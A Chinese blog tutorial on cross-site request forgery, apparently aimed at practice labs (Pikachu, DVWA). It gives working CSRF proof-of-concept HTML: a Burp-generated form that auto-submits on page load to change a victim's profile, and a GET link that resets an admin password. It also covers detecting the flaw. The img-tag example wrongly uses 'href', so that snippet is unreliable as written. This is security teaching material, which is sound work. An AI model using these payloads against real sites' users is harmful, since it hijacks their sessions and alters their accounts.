CSRF基础

作者:凌度

仅供学习,切勿用于非法途径

1. 定义:

是基于回话实现的攻击攻击者需要在被攻击着与目标 Web 保持会话的时候,然后给它一个 url 链接,如果对方这时会话是保持着的,那么这个攻击就会实现

它是一种挟持用户在当前已登录的 Web 应用程序上执行非本意的操作的攻击方法

2. csrf 利用:

1. 请求是伪造的:

攻击流程:当被攻击者登录某一网站的时候,在此期间,由于攻击者向你发送了一个构造好的

csrf 脚本或包含 csrf 脚本的链接,可能会执行一些用户不想做的功能(比如添加账号等)而这个操作并不是用户真正想要执行的

1. post 请求:

post 请求构造 payload 稍微有点难度,但是我们可以借助 burp 去生成 payload

拦截之后,即可在面板右键生成 CSRF 漏洞利用代码

注意:用户名为 kobe 是攻击者的用户名

生成 CSRF 攻击代码之后,然后把这个源码放在 html 里面,当被攻击者在那个页面的时候,然后你就可以双击这个 html 文件

burp 相当于是生成了一个当目标点击该链接就会自动提交 post 表单的 html 页面

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <script>
      history.pushState('', '', '/')
    </script>
    <form action="http://pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
      <input type="hidden" name="sex" value="boy" />
      <input type="hidden" name="phonenum" value="15988767673" />
      <input type="hidden" name="add" value="123aa34" />
      <input type="hidden" name="email" value="kobe&#64;pikachu&#46;com" />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

从而实现数据的修改,但是我们还需要注意的一个点就是,我们被攻击者使用的浏览器和我们点击 CSRF 的 html 文件的浏览器一定要一致,否则就无法造成数据的修改

当然我们这里是存在一个缺陷的,就是用户点击该链接之后需要手动去点 Submit request 才能实现 csrf 攻击,我们应该对该 html 进行修改,就是加载页面的时候,让它自动提交表单

1. 改进后的 html:

我们直接利用 js 去提交表单,然后提交后的表单进行跳转即可

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
    <script>
        history.pushState('', '', '/')
    </script>
    <form action="http://pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
        <input type="hidden" name="sex" value="boy" />
        <input type="hidden" name="phonenum" value="15988767673" />
        <input type="hidden" name="add" value="123aa34" />
        <input type="hidden" name="email" value="kobe&#64;pikachu&#46;com" />
        <input type="hidden" name="submit" value="submit" />
        <input type="submit" value="Submit request" />
    </form>
    # 自动提交表单
    <script>
        document.forms[0].submit()
    </script>
</body>
</html>

2. get 请求:

get 请求非常简单,只需要一个 url 请求即可

我这里以 dvwa 作为案例,用户名:admin 密码 password

我们来到 dvwa 靶场,我们更改密码 123123 ,然后用 burp 进行拦截,

http://dvwa//vulnerabilities/csrf/?password_new=123123&password_conf=123123&Change=Change

接下来只需要做的就是让对方点击该链接之后,即可实现 CSRF 的攻击,我们可以通过在一个 html 页面中去放一个 img 标签,然后在标签里面放入该链接即可

<html lang="en">
​
  <head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
  </head>
​
  <body>
    <img href="http://dvwa//vulnerabilities/csrf/?password_new=123.com&password_conf=123.com&Change=Change" alt="">
​
  </body>
​
</html>

只要用户点击该链接就会触发 csrf

3. CSRF 漏洞发现:

1. 关注数据包中关键字:

数据包中几个关键字段,是否根据 cookie 来判断请求包

检查:Referer,auto,csrftoken 字段

2. 快速判断 CSRF 漏洞是否存在:

当你找到这些关键字之后,在请求信息中你把它删了,然后发送看相应数据,如果请求还是能够正常执行,那么就说明存在 csrf 漏洞

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ldsecurity

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值